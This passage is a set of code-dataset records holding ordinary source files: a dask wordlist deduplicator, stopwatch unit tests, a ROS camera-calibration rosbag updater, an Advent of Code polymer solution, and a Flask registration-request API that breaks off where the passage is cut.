{"seq_id": "35362174676", "text": "\nimport os\nimport time\nimport numpy\nimport string\nimport dask.bag as db\n\n\nunwanted_lines = [x for x in string.whitespace]\nunwanted_lines.append('')\n\n\ndef lazyMerger(wordlists, name):\n\n    start = time.perf_counter()\n    blocksize = max([os.path.getsize(x) for x in wordlists]) // 16\n\n    bag = db.read_text(wordlists, blocksize=blocksize, encoding='latin-1')\n    df = bag.to_dataframe(meta={'p': str})\n\n    if df.p.isin(unwanted_lines).any().compute():\n        df = df.replace(unwanted_lines, numpy.nan).dropna()\n\n    df = df.drop_duplicates().compute()\n\n    with open(name, 'w') as out:\n        out.write(\n            df.to_string(\n                header=False,\n                index=False).replace(\n                ' ',\n                '').replace(\n                '\\\\n',\n                ''))\n\n    return time.perf_counter() - start\n", "repo_name": "magicnum/pywtk", "sub_path": "lazyMerger.py", "file_name": "lazyMerger.py", "file_ext": "py", "file_size_in_byte": 835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "string.whitespace", "line_number": 9, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.getsize", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "dask.bag.read_text", "line_number": 18, "usage_type": "call"}, {"api_name": "dask.bag", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.nan", "line_number": 22, "usage_type": "attribute"}, {"api_name": "time.perf_counter", "line_number": 36, "usage_type": "call"}]}
{"seq_id": "11629103606", "text": "import sys\nimport os\n\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"..\"))\n\nfrom stopwatch import Stopwatch\nimport asyncio\nimport time\nimport unittest\n\n\nclass StopwatchTest(unittest.TestCase):\n    def testStopwatch(self):\n        \"\"\"Tests stopwatch timing\"\"\"\n        stopwatch = Stopwatch()\n        time.sleep(0.1)\n        stopwatch.stop()\n\n        # Can't gurantee exact timings as python speed may differ each execution\n        # so ensure it is atleast a 100ms\n        # also a test for the friendly time string\n        self.assertTrue(stopwatch.duration >= 0.1)\n        self.assertTrue(str(stopwatch).endswith(\"ms\"))\n\n        stopwatch.start()\n        time.sleep(1)\n        stopwatch.stop()\n\n        self.assertTrue(stopwatch.duration >= 1.1)\n        self.assertTrue(str(stopwatch).endswith(\"s\"))\n\n    def testStop(self):\n        \"\"\"Tests stopwatch's stopped state\"\"\"\n        stopwatch = Stopwatch()\n        stopwatch.stop()\n\n        now = str(stopwatch)\n        time.sleep(0.1)\n        after = str(stopwatch)\n\n        # A stopped stopwatch should not move\n        self.assertEqual(now, after)\n\n    def testRunning(self):\n        \"\"\"Tests that the running boolean works as expected\"\"\"\n        stopwatch = Stopwatch()\n        self.assertTrue(stopwatch.running)\n\n        stopwatch.stop()\n        self.assertFalse(stopwatch.running)\n\n        stopwatch.restart()\n        self.assertTrue(stopwatch.running)\n\n    def testDigits(self):\n        \"\"\"Tests that the string contains the correct precision\"\"\"\n        stopwatch = Stopwatch(4)\n        time.sleep(1)\n        stopwatch.stop()\n\n        # e.g 5.7282s\n        self.assertTrue(len(str(stopwatch)) == 7)\n\n    def testDuration(self):\n        \"\"\"Tests that the duration results works as expected\"\"\"\n        stopwatch = Stopwatch()\n        time.sleep(1)\n        stopwatch.stop()\n\n        self.assertTrue(stopwatch.duration >= 1)\n\n    def testAsync(self):\n        \"\"\"Tests that it doesn't do any bad behaviors on asyncio event loop\"\"\"\n\n        async def main():\n            stopwatch = Stopwatch()\n            await asyncio.sleep(1)\n            stopwatch.stop()\n\n            self.assertTrue(stopwatch.duration >= 1)\n\n        asyncio.run(main())\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "ravener/stopwatch.py", "sub_path": "test/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 2252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 22, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 4, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 12, "usage_type": "attribute"}, {"api_name": "stopwatch.Stopwatch", "line_number": 15, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 16, "usage_type": "call"}, {"api_name": "stopwatch.stop", "line_number": 17, "usage_type": "call"}, {"api_name": "stopwatch.duration", "line_number": 22, "usage_type": "attribute"}, {"api_name": "stopwatch.start", "line_number": 25, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 26, "usage_type": "call"}, {"api_name": "stopwatch.stop", "line_number": 27, "usage_type": "call"}, {"api_name": "stopwatch.duration", "line_number": 29, "usage_type": "attribute"}, {"api_name": "stopwatch.Stopwatch", "line_number": 34, "usage_type": "call"}, {"api_name": "stopwatch.stop", "line_number": 35, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}, {"api_name": "stopwatch.Stopwatch", "line_number": 46, "usage_type": "call"}, {"api_name": "stopwatch.running", "line_number": 47, "usage_type": "attribute"}, {"api_name": "stopwatch.stop", "line_number": 49, "usage_type": "call"}, {"api_name": "stopwatch.running", "line_number": 50, "usage_type": "attribute"}, {"api_name": "stopwatch.restart", "line_number": 52, "usage_type": "call"}, {"api_name": "stopwatch.running", "line_number": 53, "usage_type": "attribute"}, {"api_name": "stopwatch.Stopwatch", "line_number": 57, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "stopwatch.stop", "line_number": 59, "usage_type": "call"}, {"api_name": "stopwatch.Stopwatch", "line_number": 66, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 67, "usage_type": "call"}, {"api_name": "stopwatch.stop", "line_number": 68, "usage_type": "call"}, {"api_name": "stopwatch.duration", "line_number": 70, "usage_type": "attribute"}, {"api_name": "stopwatch.Stopwatch", "line_number": 76, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "stopwatch.stop", "line_number": 78, "usage_type": "call"}, {"api_name": "stopwatch.duration", "line_number": 80, "usage_type": "attribute"}, {"api_name": "asyncio.run", "line_number": 82, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "21551130856", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nAuthor  : Heethesh Vhavle\nEmail   : heethesh@cmu.edu\nVersion : 1.0.1\nDate    : Jan 18, 2019\n\nDescription:\nScript to update the camera calibration data into the ROSBAG file\nEnsure that this file has executable permissions\n\nExample Usage:\n$ rosrun lidar_camera_calibration update_camera_info.py rosbag.bag calibration.yaml\n\nNotes:\nMake sure this file has executable permissions:\n$ chmod +x update_camera_info.py\n'''\n\n# Python 2/3 compatibility\nfrom __future__ import print_function\n\n# Built-in modules\nimport os\nimport sys\nimport yaml\n\n# ROS modules\nPKG = 'lidar_camera_calibration'\nimport roslib; roslib.load_manifest(PKG)\nimport rosbag\nimport rospy\n\n\ndef load_calibration_data(filename):\n    # Open calibration file\n    with open(filename, 'r') as stream:\n        try:\n            calibration = yaml.load(stream)\n        except yaml.YAMLError as exc:\n            rospy.logerr(exc)\n            sys.exit(1)\n\n    return calibration\n\n\nif __name__ == '__main__':\n\n    # Get parameters when starting node from a launch file.\n    if len(sys.argv) < 1:\n        BAG_FILE = rospy.get_param('filename')\n        CALIB_FILE = rospy.get_param('calib_data')\n        CAMERA_INFO = rospy.get_param('camera_info')\n\n    # Get parameters as arguments\n    else:\n        BAG_FILE = sys.argv[1]\n        CALIB_FILE = sys.argv[2]\n        CAMERA_INFO = '/sensors/camera/camera_info'\n\n    # Load ROSBAG file\n    rospy.loginfo('Bag Filename: %s', BAG_FILE)\n    bag = rosbag.Bag(BAG_FILE, 'r')\n\n    # Output file\n    folder = os.path.dirname(BAG_FILE)\n    output_name = os.path.splitext(os.path.basename(BAG_FILE))[0] + '_updated.bag'\n    OUTPUT_FILE = os.path.join(folder, output_name)\n    os.mknod(OUTPUT_FILE)\n    output = rosbag.Bag(OUTPUT_FILE, 'w')\n\n    # Load calibration data\n    calibration = load_calibration_data(CALIB_FILE)\n\n    # Update calibration data\n    rospy.loginfo('Updating %s data...' % CAMERA_INFO)\n    for topic, msg, t in bag.read_messages():\n        if topic == CAMERA_INFO:\n            msg.D = calibration['distortion_coefficients']['data']\n            msg.K = calibration['camera_matrix']['data']\n            msg.R = calibration['rectification_matrix']['data']\n            msg.P = calibration['projection_matrix']['data']\n        output.write(topic, msg, msg.header.stamp if msg._has_header else t)\n    rospy.loginfo('Done')\n\n    # Close bag file\n    bag.close()\n    output.close()\n", "repo_name": "heethesh/lidar_camera_calibration", "sub_path": "scripts/update_camera_info.py", "file_name": "update_camera_info.py", "file_ext": "py", "file_size_in_byte": 2432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 460, "dataset": "github-code", "pt": "81", "api": [{"api_name": "roslib.load_manifest", "line_number": 32, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 41, "usage_type": "call"}, {"api_name": "yaml.YAMLError", "line_number": 42, "usage_type": "attribute"}, {"api_name": "rospy.logerr", "line_number": 43, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 44, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 52, "usage_type": "attribute"}, {"api_name": "rospy.get_param", "line_number": 53, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 54, "usage_type": "call"}, {"api_name": "rospy.get_param", "line_number": 55, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 59, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 60, "usage_type": "attribute"}, {"api_name": "rospy.loginfo", "line_number": 64, "usage_type": "call"}, {"api_name": "rosbag.Bag", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "os.mknod", "line_number": 71, "usage_type": "call"}, {"api_name": "rosbag.Bag", "line_number": 72, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 78, "usage_type": "call"}, {"api_name": "rospy.loginfo", "line_number": 86, "usage_type": "call"}]}
{"seq_id": "33412688636", "text": "\nfrom collections import defaultdict\n\ndef printSolution(x):\n    print(f\"The solution is {x}\")\n\n\ndef processPolymer(polymer, elements, rules):\n    result = defaultdict(int)\n    for k in polymer.keys():\n        elements[rules[k]] += polymer[k]\n        left, right = k[0] + rules[k], rules[k] + k[1]\n        result[left] += polymer[k]\n        result[right] += polymer[k]\n\n    return result, elements\n\n\ndef main():\n    test = 'test.txt'\n    puzzle = 'input.txt'\n    \n    file = open(puzzle, 'r')\n    polymer_string = file.readline().strip()\n    file.readline()\n\n    insertions = {}\n    for line in file.readlines():\n        k, v = line.strip().split(' -> ')\n        insertions[k[0] + k[1]] = v\n\n    polymer = defaultdict(int)\n    elements = defaultdict(int)\n\n    for i in range(len(polymer_string) - 1):\n        polymer[polymer_string[i:i+2]] += 1\n\n    for p in polymer_string:\n        elements[p] += 1\n\n    cycles = 40\n    for cycle in range(cycles):\n        polymer, elements = processPolymer(polymer, elements, insertions)\n    \n    printSolution(max(elements.values()) - min(elements.values()))\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "dneff/adventofcode", "sub_path": "python/2021/14/solution2.py", "file_name": "solution2.py", "file_ext": "py", "file_size_in_byte": 1134, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.defaultdict", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 32, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "10483190336", "text": "\"\"\"\nAPI endpoints for \"registration requests\" package.\n\"\"\"\n\nimport base64\n\nimport datetime\n\nfrom werkzeug.exceptions import Forbidden, HTTPException\nfrom flask import request, current_app\nfrom flask_restful import abort\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy import any_, func\nfrom sqlalchemy.orm import load_only\nfrom flasgger.utils import swag_from\n\nfrom app import db, c_abort, g\nfrom app.base.api import AuthResource, BaseResource\nfrom app.auth.decorators import role_permission_required\nfrom app.resources.registration_requests import constants as REGREQUEST\nfrom app.resources.registration_requests.models import RegistrationRequest\nfrom app.resources.registration_requests.schemas import (\n    RegistrationRequestSchema, RegistrationRequestReadArgsSchema,\n    UserProfileCommonSchema)\nfrom app.resources.registration_requests.helpers import (\n    verify_verify_email_link, send_mail_rejected_user, create_user_json,\n    link_new_user_to_invitee)\nfrom app.resources.roles import constants as ROLE\nfrom app.resources.users.schemas import UserSchema\nfrom app.resources.user_profiles.schemas import UserProfileSchema\nfrom app.resources.accounts.models import Account\nfrom app.resources.accounts import constants as ACCOUNT\nfrom app.resources.accounts.helpers import transfer_account_object\nfrom app.base import constants as APP\nfrom app.resources.users.models import User\nfrom app.resources.user_settings.helpers import create_default_user_settings\n# from app.resources.users.helpers import (\n#    check_account_membership, check_role_allowed)\nfrom app.resources.users.helpers import (\n    check_users_exist_for_account, generate_user_random_string)\nfrom app.resources.contacts.helpers import create_default_contacts\nfrom app.resources.account_user_members.helpers import (\n    add_user_member_for_child_accounts)\nfrom app.resources.unsubscriptions.helpers import create_default_unsubscription\nfrom app.domain_resources.domains.helpers import (\n    get_domain_name, get_domain_info)\n\nfrom queueapp.user_email_tasks import (\n    send_verify_email_email, send_registration_request_email,\n    send_user_welcome_email, send_invitation_verify_email_email)\nfrom queueapp.accounts.account_stats_tasks import update_account_stats\n\n\nclass RegistrationRequestPostAPI(BaseResource):\n    \"\"\"\n    For creating new registration requests\n    \"\"\"\n\n    @swag_from('swagger_docs/registration_request_post.yml')\n    def post(self):\n        \"\"\"\n        Create a registration request\n        \"\"\"\n\n        registration_schema = RegistrationRequestSchema()\n        # get the json data from the request\n        json_data = request.get_json()\n        if not json_data:\n            c_abort(400)\n\n        try:\n            # validate and deserialize input into object\n            data, errors = registration_schema.load(json_data)\n            print(data, errors)\n            if errors:\n                c_abort(422, errors=errors)\n\n            if not data.accepted_terms:\n                c_abort(422, message='Requested user not accepted terms')\n            # no errors, so add data to db\n            data.status = REGREQUEST.REQ_ST_PENDING\n            domain_id, domain_config = get_domain_info(get_domain_name())\n            data.domain_id = domain_id\n            db.session.add(data)\n            db.session.commit()\n            # send registration request details\n            send_registration_request_email.s(True, data.row_id).delay()\n            # send user welcome mail\n            send_user_welcome_email.s(True, data.row_id).delay()\n            # send email for verifying request\n            # #TODO: may be used in future\n            # url = generate_verify_email_link(data)\n            # message, errors = send_verify_email_email(data, url)\n            # #TODO: act on errors\n            # #TODO: send emails to admin\n        except IntegrityError as e:\n            db.session.rollback()\n            if APP.DB_ALREADY_EXISTS in e.orig.diag.message_detail.lower():\n                # format of the message:\n                # Key (email)=(example@example.com) already exists.\n                column = e.orig.diag.message_detail.split('(')[1][:-2]\n                c_abort(422, message=APP.MSG_ALREADY_EXISTS, errors={\n                    column: [APP.MSG_ALREADY_EXISTS]})\n            # for any other unknown db errors\n            current_app.logger.exception(e)\n            abort(500)\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n\n        return {'message': 'RegistrationRequest submitted: %s' %\n                str(data.row_id), 'row_id': data.row_id}, 201\n\n\nclass DesignLabRegistrationRequestPostAPI(BaseResource):\n    \"\"\"\n    For creating new registration requests\n    \"\"\"\n\n    @swag_from('swagger_docs/registration_request_post.yml')\n    def post(self):\n        \"\"\"\n        Create a registration request\n        \"\"\"\n\n        registration_schema = RegistrationRequestSchema()\n        # get the json data from the request\n        json_data = request.get_json()\n        if not json_data:\n            c_abort(400)\n\n        try:\n            # validate and deserialize input into object\n            data, errors = registration_schema.load(json_data)\n            if errors:\n                c_abort(422, errors=errors)\n\n            if not data.accepted_terms:\n                c_abort(422, message='Requested user not accepted terms')\n            # no errors, so add data to db\n            data.only_design_lab = True\n            data.status = REGREQUEST.REQ_ST_PENDING\n            domain_id, domain_config = get_domain_info(get_domain_name())\n            data.domain_id = domain_id\n            db.session.add(data)\n            db.session.commit()\n            # send registration request details\n            send_registration_request_email.s(True, data.row_id).delay()\n            # send user welcome mail\n            send_user_welcome_email.s(True, data.row_id).delay()\n            # send email for verifying request\n            # #TODO: may be used in future\n            # url = generate_verify_email_link(data)\n            # message, errors = send_verify_email_email(data, url)\n            # #TODO: act on errors\n            # #TODO: send emails to admin\n        except IntegrityError as e:\n            db.session.rollback()\n            if APP.DB_ALREADY_EXISTS in e.orig.diag.message_detail.lower():\n                # format of the message:\n                # Key (email)=(example@example.com) already exists.\n                column = e.orig.diag.message_detail.split('(')[1][:-2]\n                c_abort(422, message=APP.MSG_ALREADY_EXISTS, errors={\n                    column: [APP.MSG_ALREADY_EXISTS]})\n            # for any other unknown db errors\n            current_app.logger.exception(e)\n            abort(500)\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n\n        return {'message': 'RegistrationRequest submitted: %s' %\n                str(data.row_id), 'row_id': data.row_id}, 201\n\n\nclass RegistrationRequestEmailVerifyAPI(BaseResource):\n    \"\"\"\n    Verfiy the email of a registration request\n    \"\"\"\n\n    @swag_from('swagger_docs/registration_request_verify.yml')\n    def put(self, token):\n        \"\"\"\n        Updates the registration request status on successful verification link\n\n        :param token: verify email token\n        \"\"\"\n        json_data = {}\n        json_data = request.get_json()\n        try:\n            user = None\n            email,error = verify_verify_email_link(token)\n            if error:\n                c_abort(422, errors=error)\n\n            if email:\n                user = User.query.filter_by(\n                    email=email).first()\n\n            if not user:\n                return c_abort(404, message='Bad email')\n\n            if not user.unverified:\n                return {'message': 'Email already verified'}, 200\n\n            # user data change only when registration request created by admin\n            req_by_admin = RegistrationRequest.query.filter_by(\n                email=email).first().by_admin\n            if req_by_admin:\n                # only limited data will be change by user\n                if json_data:\n                    if 'password' in json_data and json_data['password']:\n                        json_data['password'] = base64.b64decode(\n                            json_data['password']).decode('utf-8')\n                        user.set_password(json_data['password'])\n                    if 'first_name' in json_data and json_data['first_name']:\n                        user.profile.first_name = json_data['first_name']\n                    if 'last_name' in json_data and json_data['last_name']:\n                        user.profile.last_name = json_data['last_name']\n                    if 'phone_number' in json_data and json_data[\n                            'phone_number']:\n                        user.profile.phone_number = json_data[\n                            'phone_number']\n            # email is verified, update unverified to False\n            user.unverified = False\n            db.session.add(user)\n            db.session.commit()\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n\n        return {'message': 'Email has been successfully verified'}, 200\n\n    def get(self, token):\n        \"\"\"\n        Get registration data on successful verification link\n        :param token:\n        :return:\n        \"\"\"\n        try:\n            regreq_data = None\n            email, error = verify_verify_email_link(token)\n            if error:\n                c_abort(422, errors=error)\n\n            if email:\n                regreq_data = RegistrationRequest.query.filter_by(\n                    email=email).first()\n\n            if not regreq_data:\n                return c_abort(404, message='Bad email')\n\n            if 'Origin' in request.headers:\n                origin = request.headers['Origin'].strip().split(\".\")[1:]\n                domain_name = \".\".join(origin)\n                if not domain_name == regreq_data.domain.name:\n                    return c_abort(404, message=\"Bad Domain\")\n\n            result = RegistrationRequestSchema().dump(regreq_data)\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n\n        return {'results': result}, 200\n\n\nclass RegistrationRequestAPI(AuthResource):\n    \"\"\"\n    API for managing registration requests\n    \"\"\"\n\n    @role_permission_required(perms=[ROLE.EPT_NU])\n    @swag_from('swagger_docs/registration_request_put.yml')\n    def put(self, row_id):\n        \"\"\"\n        Update a registration request\n        \"\"\"\n\n        registration_schema = RegistrationRequestSchema()\n        # first find model\n        model = None\n        try:\n            model = RegistrationRequest.query.get(row_id)\n            if model is None or model.deleted:\n                c_abort(404, message='RegistrationRequest id: %s'\n                        ' does not exist' % str(row_id))\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            current_app.logger.exception(e)\n            abort(500)\n\n        # get the json data from the request\n        json_data = request.get_json()\n        if not json_data:\n            c_abort(400)\n\n        try:\n            # validate and deserialize input\n            data, errors = registration_schema.load(\n                json_data, instance=model, partial=True)\n            if errors:\n                c_abort(422, errors=errors)\n            # no errors, so add data to db\n            data.updated_by = g.current_user['row_id']\n            db.session.add(data)\n            db.session.commit()\n\n            if data.status == REGREQUEST.REQ_ST_REJECTED:\n                message, error = send_mail_rejected_user(data)\n\n        except IntegrityError as e:\n            db.session.rollback()\n            if APP.DB_ALREADY_EXISTS in e.orig.diag.message_detail.lower():\n                # format of the message:\n                # Key (name)=(example@example.com) already exists.\n                column = e.orig.diag.message_detail.split('(')[1][:-2]\n                c_abort(422, message=APP.MSG_ALREADY_EXISTS, errors={\n                    column: [APP.MSG_ALREADY_EXISTS]})\n            # for any other unknown db errors\n            current_app.logger.exception(e)\n            abort(500)\n        except Forbidden as e:\n            raise e\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n        return {'message': 'Updated RegistrationRequest id: %s' %\n                str(row_id)}, 200\n\n    @role_permission_required(perms=[ROLE.EPT_NU])\n    @swag_from('swagger_docs/registration_request_delete.yml')\n    def delete(self, row_id):\n        \"\"\"\n        Delete a registration request\n        \"\"\"\n\n        model = None\n        try:\n            # first find model\n            model = RegistrationRequest.query.get(row_id)\n            if model is None or model.deleted:\n                c_abort(404, message='RegistrationRequest id: %s'\n                        ' does not exist' % str(row_id))\n            # if model is found, and not yet deleted, delete it\n            model.deleted = True\n            db.session.add(model)\n            db.session.commit()\n        except Forbidden as e:\n            raise e\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n        return {}, 204\n\n    @role_permission_required(perms=[ROLE.EPT_NU])\n    @swag_from('swagger_docs/registration_request_get.yml')\n    def get(self, row_id):\n        \"\"\"\n        Get a registration request by id\n        \"\"\"\n\n        registration_schema = RegistrationRequestSchema()\n        model = None\n        try:\n            # first find model\n            model = RegistrationRequest.query.get(row_id)\n            if model is None or model.deleted:\n                c_abort(404, message='RegistrationRequest id: %s'\n                        ' does not exist' % str(row_id))\n            result = registration_schema.dump(model)\n        except Forbidden as e:\n            raise e\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            current_app.logger.exception(e)\n            abort(500)\n        return {'results': result}, 200\n\n\nclass RegistrationRequestReSendEmailVerifyAPI(AuthResource):\n    \"\"\"\n    Resend the verification email of a registration request\n    \"\"\"\n\n    @role_permission_required(perms=[ROLE.EPT_NU])\n    @swag_from('swagger_docs/registration_request_resend_email_verify.yml')\n    def put(self, row_id):\n        \"\"\"\n        Resend the verification email\n        \"\"\"\n\n        model = None\n        reg_model = None\n        message = 'Nothing to do'\n        try:\n            model = User.query.get(row_id)\n            if model is None or model.deleted or not model.unverified:\n                c_abort(404, message='User id: %s'\n                                     ' does not exist' % str(row_id))\n            reg_model = RegistrationRequest.query.filter_by(\n                email=model.email).first()\n            if not reg_model:\n                c_abort(404, message='RegistrationRequest id: %s'\n                                     ' does not exist' % str(row_id))\n\n            if reg_model.status == REGREQUEST.REQ_ST_ACCEPTED:\n                # send email\n                if reg_model.by_admin:\n                    send_invitation_verify_email_email.s(True, reg_model.row_id).delay()\n                else:\n                    send_verify_email_email.s(True, reg_model.row_id).delay()\n                message = 'Verification email resent for request: %s' %\\\n                    str(row_id)\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            current_app.logger.exception(e)\n            abort(500)\n\n        return {'message': message}, 200\n\n\nclass RegistrationRequestAddUserAPI(AuthResource):\n    \"\"\"\n    API for adding a user from a registration request\n    \"\"\"\n\n    @role_permission_required(perms=[ROLE.EPT_NU])\n    @swag_from('swagger_docs/registration_request_adduser.yml')\n    def put(self, row_id):\n        \"\"\"\n        Add a user, and update registration request\n        \"\"\"\n        user_schema = UserSchema()\n        user_profile_schema = UserProfileSchema()\n        user_common_schema = UserProfileCommonSchema()\n        model = None\n        user_model = None\n        try:\n            model = RegistrationRequest.query.get(row_id)\n            if model is None or model.deleted:\n                c_abort(404, message='RegistrationRequest id: %s'\n                                     ' does not exist' % str(row_id))\n            user_model = User.query.filter_by(email=model.email).first()\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            current_app.logger.exception(e)\n            abort(500)\n\n        # get the json data from the request\n        json_data = request.get_json()\n        if not json_data:\n            c_abort(400)\n\n        try:\n            if model.status != REGREQUEST.REQ_ST_PENDING:\n                c_abort(422, message='Unverified user')\n\n            # validate and deserialize input\n            json_data, errors = user_common_schema.load(json_data)\n            if errors:\n                c_abort(422, errors=errors)\n            if 'join_as' in json_data:\n                json_data.pop('join_as')\n            if 'password' not in json_data:\n                # setup a basic password before actual auto generation\n                json_data['password'] = base64.b64encode(\n                        bytes(generate_user_random_string().encode('utf-8')))\n\n            # for user data\n            user_data = create_user_json(json_data)\n            user_profile_data = None\n            updated_account_id = False\n            # requested user already exists with guest user\n            if user_model and user_model.account_type == ACCOUNT.ACCT_GUEST:\n                user_profile_data, errors = user_profile_schema.load(\n                    user_data['profile'], instance=user_model.profile,\n                    partial=True)\n                if errors:\n                    return c_abort(422, errors=errors)\n\n                user_data.pop('profile')\n                user_final_data, errors = user_schema.load(\n                    user_data, instance=user_model, partial=True)\n                if errors:\n                    return c_abort(422, errors=errors)\n                updated_account_id = True\n            else:\n                user_final_data, errors = user_schema.load(user_data)\n                if errors:\n                    return c_abort(422, errors=errors)\n\n            account_data = Account.query.filter(\n                Account.row_id == user_final_data.account_id).options(\n                load_only('account_type')).first()\n            # no errors, so add data to db\n            user_final_data.password = model.password\n            user_final_data.created_by = g.current_user['row_id']\n            user_final_data.updated_by = user_final_data.created_by\n            user_final_data.account_type = account_data.account_type\n            user_final_data.unverified = True\n            user_final_data.only_design_lab = model.only_design_lab\n\n            user_final_data.profile.account_type = account_data.account_type\n            user_final_data.profile.account_id = user_final_data.account_id\n            user_final_data.token_key = generate_user_random_string()\n            model.status = REGREQUEST.REQ_ST_ACCEPTED\n\n            user_final_data = create_default_user_settings(user_final_data)\n            # add account activation date\n            account = Account.query.filter_by(\n                row_id=user_final_data.account_id).first()\n            if not check_users_exist_for_account(user_final_data.account_id):\n                account.activation_date = datetime.datetime.utcnow()\n                if not account.subscription_start_date:\n                    account.subscription_start_date = \\\n                        datetime.datetime.utcnow()\n                    account.is_trial = True\n                if not account.subscription_end_date:\n                    account.subscription_end_date = \\\n                        account.subscription_start_date + current_app.config[\n                            'DEF_TRIAL_PERIOD']\n                    account.is_trial = True\n                db.session.add(account)\n            if errors:\n                c_abort(422, errors=errors)\n            # fetch the users associated with the account\n            # and get the highest in order sequence_id\n            last_in_order_user = User.query.filter_by(\n                account_id=user_final_data.account_id).order_by(\n                User.sequence_id.desc()).first()\n            if last_in_order_user:\n                last_in_order_sequence_id = last_in_order_user.sequence_id\n                # assign the sequence_id as new highest in order sequence_id\n                user_final_data.sequence_id = last_in_order_sequence_id + 1\n            else:\n                user_final_data.sequence_id = 1\n            db.session.add(model)\n            db.session.add(user_final_data)\n            db.session.commit()\n            if account.account_type == ACCOUNT.ACCT_CORP_GROUP:\n                add_user_member_for_child_accounts(\n                    user_final_data.row_id, user_final_data.account_id,\n                    user_final_data.is_admin)\n            # send verification email\n            send_verify_email_email.s(True, model.row_id).delay()\n            # for account stats update\n            update_account_stats.s(True, user_final_data.account_id).delay()\n            # add default contacts\n            create_default_contacts(user_final_data.row_id)\n            # create default unsubsription\n            create_default_unsubscription(user_final_data.email)\n            # check if user is already there in any event\n            link_new_user_to_invitee(user_final_data.row_id,\n                                     user_final_data.email)\n            if updated_account_id:\n                transfer_account_object(\n                    user_final_data.row_id, user_final_data.account_id)\n        except IntegrityError as e:\n            db.session.rollback()\n            if APP.DB_ALREADY_EXISTS in e.orig.diag.message_detail.lower():\n                # format of the message:\n                # Key (name)=(example@example.com) already exists.\n                column = e.orig.diag.message_detail.split('(')[1][:-2]\n                c_abort(422, message=APP.MSG_ALREADY_EXISTS, errors={\n                    column: [APP.MSG_ALREADY_EXISTS]})\n            # for any other unknown db errors\n            current_app.logger.exception(e)\n            abort(500)\n        except Forbidden as e:\n            raise e\n        except HTTPException as e:\n            raise e\n        except Exception as e:\n            db.session.rollback()\n            current_app.logger.exception(e)\n            abort(500)\n        return {'message': 'New user added id: %s' %\n                           str(user_final_data.row_id)}, 200\n\n\nclass RegistrationRequestList(AuthResource):\n    \"\"\"\n    Read API for registration request lists, i.e, more than\n    1 registration request\n    \"\"\"\n\n    model_class = RegistrationRequest\n\n    def __init__(self, *args, **kwargs):\n        super(RegistrationRequestList, self).__init__(*args, **kwargs)\n\n    def build_query(self, filters, pfields, sort, pagination, query_session,\n                    operator, include_deleted=False):\n        \"\"\"\n        Builds the query by calling parent helpers _build_query,\n        _build_final_query\n        Also manages extra_filters (combined filters) here if any\n        \"\"\"\n\n        status = None\n        if 'status' in filters:\n            status = filters.pop('status')\n        query_filters, extra_query, db_projection, 